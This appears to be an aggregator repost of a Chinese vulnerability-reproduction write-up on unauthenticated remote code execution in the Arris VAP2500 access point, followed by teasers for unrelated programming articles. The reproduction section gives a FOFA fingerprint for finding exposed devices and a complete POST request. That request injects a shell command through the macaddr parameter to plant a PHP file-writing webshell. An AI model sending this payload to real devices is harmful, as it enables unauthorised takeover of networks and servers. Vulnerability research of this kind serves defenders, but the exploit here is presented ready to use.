当前位置： 首页 > news >正文

Arris VAP2500 list_mac_address未授权RCE漏洞复现

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/134985423 2025/1/11 8:19:11

0x01 产品简介

Arris VAP2500是美国Arris集团公司的一款无线接入器产品。

0x02 漏洞概述

Arris VAP2500 list_mac_address接口处命令执行漏洞，未授权的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

0x03 复现环境

FOFA：body="./images/lg_05_1.gif"

040e1f263a40487bafbb7b22d592e0f8.png

0x04 漏洞复现

 写一个可以创建文件的脚本到指定目录

POST /list_mac_address.php HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencodedmacaddr=00%3A00%3A44%3A00%3A00%3A00%3Becho+%27%3C%3Fphp+file_put_contents%28%24_POST%5B%22filename%22%5D%2C+%24_POST%5B%22content%22%5D%29%3F%3E%27%3E+%2Fvar%2Fwww%2Ftest.php&action=0&settype=1

相关文章：

Arris VAP2500 list_mac_address未授权RCE漏洞复现

0x01 产品简介 Arris VAP2500是美国Arris集团公司的一款无线接入器产品。 0x02 漏洞概述 Arris VAP2500 list_mac_address接口处命令执行漏洞，未授权的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。 0x03 复现环境 FOFA…...

编程日记 2023/12/18 10:14:54

【Jenkins】节点 node、凭据 credentials、任务 job

一、节点 node Jenkins在安装并初始化完成后，会有一个主节点（Master Node），默认情况下主节点可以同时运行的任务数是2，可以在节点配置中修改（系统管理/节点和云管理）。 Jenkins中的节点&#…...

编程日记 2023/12/18 10:13:53

华为OD机试 - 高效货运（Java JS Python C）

题目描述 老李是货运公司承运人，老李的货车额定载货重量为 wt。 现有两种货物： 货物 A 单件重量为 wa，单件运费利润为 pa货物 B 单件重量为 wb，单件运费利润为 pb老李每次发车时载货总重量刚好为货车额定的载货重量 wt，车上必须同时有货物 A 和货物 B ，货物A、B不可切割…...

编程日记 2023/12/18 10:11:51

基于python netmiko去ssh备份网络设备配置

自己为了便利写出来的基于python netmiko去ssh备份网络设备配置，用过secureCRT的脚本去备份设备配置，但是它没有图形化界面，使用不方便，自己就重新用python开发了一个，同时用pyinstaller打包成可执行程序（这…...

编程日记 2023/12/18 10:09:49

【CCF BDCI 2023】多模态多方对话场景下的发言人识别 Baseline 0.71 Slover 部分

【CCF BDCI 2023】多模态多方对话场景下的发言人识别 Baseline 0.71 Slover 部分 概述Solver 在多模态发言人识别中的作用Solver 在多模态发言人识别中的重要性Solver 的工作原理 二次规划二次规划的基本形式二次规划的特点二次规划在多模态发言中的应用 (我的理解) 代码详解数…...

编程日记 2023/12/18 10:05:45

爬虫工作量由小到大的思维转变---＜第十二章 Scrapy之sql存储与爬虫高效性的平衡艺术＞

前言: (本文仅属于技术性探讨,不属于教文) 刚好，前阵子团队还在闲聊这个问题呢。你知道吗，在数据收集这个行当里，怎么存数据这问题就跟“先有鸡还是先有蓝”一样，没完没了的循环往复。老规矩，咱们先搞清楚我们的“鸡…...

编程日记 2023/12/18 10:02:42

修改Docker0和容器的地址

修改Docker0和容器的地址 1. 需求 默认服务器安装完Docker-ce后会给docker0分配172.17.0.1/16地址. 公司新接入一个网段正好与172.17.0.1/16冲突,此时访问这台服务器的容器时就会发生网络不可达. 2. 解决方法 修改/etc/docker/daemon.json 加入一个自定义网段 vim /etc/d…...

编程日记 2023/12/18 10:00:41

弹性网络优化算法

3.3、Elastic-Net算法使用 这是scikit-learn官网给出的弹性网络回归的，损失函数公式，注意，它用的矩阵表示，里面用到范数运算。 min ⁡ w 1 2 n samples ∣ ∣ X w − y ∣ ∣ 2 2 α ρ ∣ ∣ w ∣ ∣ 1 α ( 1 − ρ ) 2 ∣ ∣…...

编程日记 2023/12/18 9:56:38

[C语言]大小端及整形输出问题

假设在一个32位little endian 的机器上运行下面的程序&#xff0c;结果是多少 ? 1.1先看以下三个程序 #include <stdio.h> int main() {long long a 1, b 2, c 3;printf("%lld %lld %lld\n", a, b, c); // 1 2 3printf("%d %d %d %d %d %d\n&quo…...

编程日记 2023/12/18 9:54:35

C# 命令行参数解析库示例

写在前面 在日常开发中&#xff0c;我们经常会用到命令行参数&#xff0c;比如cmd下的各种指令&#xff1b;还有C#的控制台类型的项目&#xff0c;在默认入口Main函数中&#xff0c;那个args参数&#xff0c;就是有系统传入到程序进程的命令行参数&#xff1b;在传入的参数相对…...

编程日记 2023/12/18 9:53:34

2020 年网络安全应急响应分析报告

2020 年全年奇安信集团安服团队共参与和处置了全国范围内 660起网络安全应急响应事件。2020 年全年应急响应处置事件行业 TOP3 分别为:政府部门行业(146 起)医疗卫生行业(90 起)以及事业单位(61 起&#xff0c;事件处置数分别占应急处置所有行业的 22.1%、13.6%、9.2%。2020 年…...

编程日记 2023/12/18 9:51:32

Git----学习Git第一步基于 Windows 10 系统和 CentOS7 系统安装 Git

查看原文 文章目录 基于 Windows 10 系统安装 Git 客户端基于 CentOS7 系统安装部署 Git 基于 Windows 10 系统安装 Git 客户端 &#xff08;1&#xff09;打开 git官网 &#xff0c;点击【windows】 &#xff08;2&#xff09;根据自己的电脑选择安装&#xff0c;目前一般w…...

编程日记 2023/12/18 9:50:31

爬虫 scrapy ——scrapy shell调试及下载当当网数据（十一）

目录 一、scrapy shell 1.什么是scrapy shell&#xff1f; 2.安装 ipython 3.使用scrapy shell 二、当当网案例 1.在items.py中定义数据结构 2.在dang.py中解析数据 3.使用pipeline保存 4.多条管道的使用 5.多页下载 参考 一、scrapy shell 1.什么是scrapy shell&am…...

编程日记 2023/12/18 9:49:30

Linux驱动（中断、异步通知）：红外对射，并在Qt StatusBus使用指示灯进行显示

本文工作&#xff1a; 1、Linux驱动与应用程序编写&#xff1a;使用了设备树、中断、异步通知知识点&#xff0c;实现了红外对射状态的异步信息提醒。 2、QT程序编写&#xff1a;自定义了一个“文本指示灯”类&#xff0c;并放置在QMainWidget的StatusBus中。 3、C与C混合编程与…...

编程日记 2023/12/18 9:48:29

echarts地图的常见用法：基本使用、区域颜色分级、水波动画、区域轮播、给地图添加背景图片和图标、3d地图、飞线图

前言 最近几天用echarts做中国地图&#xff0c;就把以前写的demo&#xff1a;在vue中实现中国地图 拿来用&#xff0c;结果到项目里直接报错了&#xff0c;后来发现是因为版本的问题&#xff0c;没办法只能从头进行踩坑了。以下内容基于vue3 和 echarts 5.32 基本使用 获取地…...

编程日记 2023/12/18 9:47:28

进程间通讯-管道

介绍 管道&#xff08;Pipe&#xff09;是操作系统提供的一种进程间通信&#xff08;IPC&#xff0c;Inter-Process Communication&#xff09;机制&#xff0c;它允许一个进程的输出直接作为另一个进程的输入。管道主要分为以下两种类型&#xff1a; 无名管道&#xff08;Unn…...

编程日记 2023/12/18 9:44:25

项目总结-自主HTTP实现

终于是写完了&#xff0c;花费了2周时间&#xff0c;一点一点看&#xff0c;还没有扩展&#xff0c;但是基本功能是已经实现了。利用的是Tcp为网络链接&#xff0c;在其上面又写了http的壳。没有使用epoll&#xff0c;多路转接难度比较高&#xff0c;以后有机会再写&#xff0c…...

编程日记 2023/12/18 9:43:24

Java语言＋二维数组＋非递归实现五子棋游戏

以前做过一个C语言版五子棋&#xff1a;&#xff23;语言&#xff0b;二维数组&#xff0b;非递归实现五子棋游戏 现在做一个Java语言版五子棋&#xff0c;规则如下&#xff1a; 1&#xff64;白子为O; 2&#xff64;黑子为&#xff1b; 3&#xff64;白子先手&#xff1b;…...

编程日记 2023/12/18 9:42:23

WordCloud—— 词云

【说明】文章内容来自《机器学习入门——基于sklearn》&#xff0c;用于学习记录。若有争议联系删除。 wordcloud 是python的第三方库&#xff0c;称为词云&#xff0c;也成文字云&#xff0c;可以根据文本中的词频以直观和艺术化的形式展示文本中词语的重要性。 依赖于pillow …...

编程日记 2023/12/18 9:40:21

linux网络----UDP编程

一、函数接口: 1.socket:创建一个用来网络通信的终端节点&#xff1b; 参数: type&#xff1a;套接字类型 SOCK_STREAM 流式套接字 TCP SOCK_DGRAM 数据报套接字 UDP SOCK_RAM 原始套接字 domain: 协议族 AF_INET protocal: 默认为0 2.s…...

编程日记 2023/12/18 9:39:20

[AI工具推荐]AiRestful智能API代码生成

智能API代码示例生成工具AiRestful 一、产品介绍二、如何使用1、第一步(必须):2、第二步(可选):3、第三步(智能生成): 三、如何集成到您的网站(应用)1、开始接入2、接入案例 四、注意点 一、产品介绍 AiRestful是一款基于智能AI的,帮助小白快速生成任意编程语言的API接口调用示…...

编程日记 2023/12/18 9:35:17

Elasticsearch 8.10.0同义词API用法详解，支持同义词热更新

Elasticsearch 的同义词功能非常强大，如果使用得当，可以显着提高搜索引擎的效果。使用同义词功能时的一个常见问题是更新同义词集。 同义词在搜索引擎领域用途 同义词在搜索引擎领域的用途可概括如下： 增强搜索的准确性——当用户输入一个关键词时，可能与他们实际意图相关…...

编程日记 2023/12/18 9:33:15

深度学习之模型权重

在深度学习中&#xff0c;模型的权重&#xff08;weights&#xff09;是指神经网络中的参数&#xff0c;这些参数用于调整和学习模型的行为&#xff0c;以便能够对输入数据进行有效的映射和提取有用的特征。深度学习模型通常由许多神经元和连接组成&#xff0c;而权重就是连接这…...

编程日记 2023/12/18 9:31:14

纯前端使用XLSX导出excel表格

1 单个sheet page.js(页面中的导出方法) import { exportExcel } from ../../../utils/exportExcel.js; leadOut() {const arr [{ id: 1, name: 张三, age: 14, sex: 男 },{ id: 2, name: 李四, age: 15, sex: 女 },{ id: 3, name: 王五, age: 16, sex: 男 },];const allR…...

编程日记 2023/12/18 9:29:12

将mjpg格式数转化成opencv Mat格式

该博客可以解决如下两个问题&#xff1a; 1、将mjpg格式数据转化成opencv Mat格式 2、v4l2_buffer 格式获取的mjpg格式数据转换成Mat格式。 要将 MJPEG 格式的数据转换为 OpenCV 的 Mat 格式&#xff0c;您可以使用 imdecode 函数。imdecode 函数可以将图像数据解码为 Mat 对象…...

编程日记 2023/12/18 9:28:10

【golang/g3n】3D游戏引擎G3N的windows安装与测试

目录 说在前面安装测试 说在前面 操作系统&#xff1a;win 11go version&#xff1a;go1.21.5 windows/amd64g3n版本&#xff1a;github.com/g3n/engine v0.2.0其他&#xff1a;找了下golang 3d相关的库&#xff0c;目前好像就这个比较活跃 安装 按照官方教程所说&#xff0c;…...

编程日记 2023/12/18 9:27:08

sap table 获取 valuation class MBEW 查表获取

参考 https://www.tcodesearch.com/sap-tables/search?qvaluationclass...

编程日记 2023/12/18 9:26:08

介绍一些操作系统—— Ubuntu 系统

介绍一些操作系统—— Ubuntu 系统 Ubuntu 系统 Ubuntu 是一个以桌面应用为主的 Linux 发行版操作系统&#xff0c;其名称来自非洲南部祖鲁语或豪萨语的“ubuntu"一词&#xff0c;意思是“人性”“我的存在是因为大家的存在"&#xff0c;是非洲传统的一种价值观。U…...

编程日记 2023/12/18 9:23:04

React中props 和 state异同初探

在 React 中&#xff0c;props 和 state 是两个非常重要的概念&#xff0c;它们决定了组件的行为和渲染方式。 Props props&#xff08;属性&#xff09;是父组件传递给子组件的数据。它们类似于函数的参数&#xff0c;可以在组件内部被访问和使用&#xff0c;但不能被修改。…...

编程日记 2023/12/18 9:20:00

spring-kakfa依赖管理之org/springframework/kafka/listener/CommonErrorHandler错误

问题&#xff1a; 整个项目使用spring-boot2.6.8版本&#xff0c;使用gradle构建&#xff0c;在common模块指定了implementation org.springframework.kafka:spring-kafka:2.6.8’这个工程也都能运行&#xff08;这正常发送kafka消息和接收消息&#xff09;&#xff0c;但是执行…...

编程日记 2023/12/18 9:17:59

湖南省建设厅建管处/杭州网站建设方案优化

[Spring]关于IOC控制反转&#xff0c;你应该掌握这些 本文是于2020-4-24重构&#xff0c;将文章中关于Spring的理念介绍移至&#xff1a; 你一直在用Spring&#xff0c;但你可能真的不懂它 本文为IOC的实操部分&#xff0c;介绍Spring的一些基本操作 文章目录[Spring]关于IOC控…...

编程日记 2025/1/11 7:52:33

wordpress 做网站/网推公司干什么的

2016年6月6日&#xff0c; 加州讯&#xff0c;世界领先的高性能计算、数据中心端到端互连方案提供商Mellanox&#xff08;纳斯达克交易所代码: MLNX&#xff09;今天宣布&#xff0c;正式推出针对网络及存储应用的BlueField 系列SoC可编程芯片。该系列产品能够满足业界日益增长…...

编程日记 2025/1/11 7:04:54

如何设计自己的网站/淘宝关键词优化

请按照如下步骤进行: (1) 打开IE --> Internet Options -- > Advanced ; 去掉”Disable Script Debugging” 上的选项 (2) 打开需要调试的页面 (3) 启动VS.Net IDE, 选择 TOOLS-Debug Process (Ctrl Alt P). 选择需要调试的IE进程。 (4) 点击Atta…...

编程日记 2025/1/11 1:27:02

如何做传奇私服网站/seo搜索优化排名

题目链接&#xff1a;https://loj.ac/problem/10013 分析&#xff1a; 对于题目中给定的二次函数是符合用三分求极值的&#xff0c;关键是如何在n个这样的函数中找到最大的那一个&#xff1f; 我们会的就是一个这样的函数在给定区间内求极值。 所以&#xff0c;在每次三分的过…...

编程日记 2025/1/10 23:53:55

做二手交易网站如何盈利/关键词排名优化怎么样

新装的Ubuntu或者Docker pull的Ubuntu镜像创建的容器没有ipconfig和ping命令 解决办法&#xff1a; 1、apt-get update 2、安装和ifconfig有关的工具 apt install net-tools 3、安装和ping有关的工具 apt install iputils-ping转载于:https://www.cnblogs.com/SH170706/p/10369…...

编程日记 2025/1/10 23:17:18

品牌理念设计企业网站建设/客户引流的最快方法是什么

Python版本&#xff1a; 3.6.0 一、添加Media Types Name&#xff1a;自定义的媒介名称 Type&#xff1a;Scipt 脚本 Scipt name &#xff1a; 脚本名称 Scipt parameters : 传递给脚本的参数。&#xff08;该参数可以在后面的Actions部分自定义&#xff09;。这里我们就使…...

编程日记 2025/1/10 23:09:07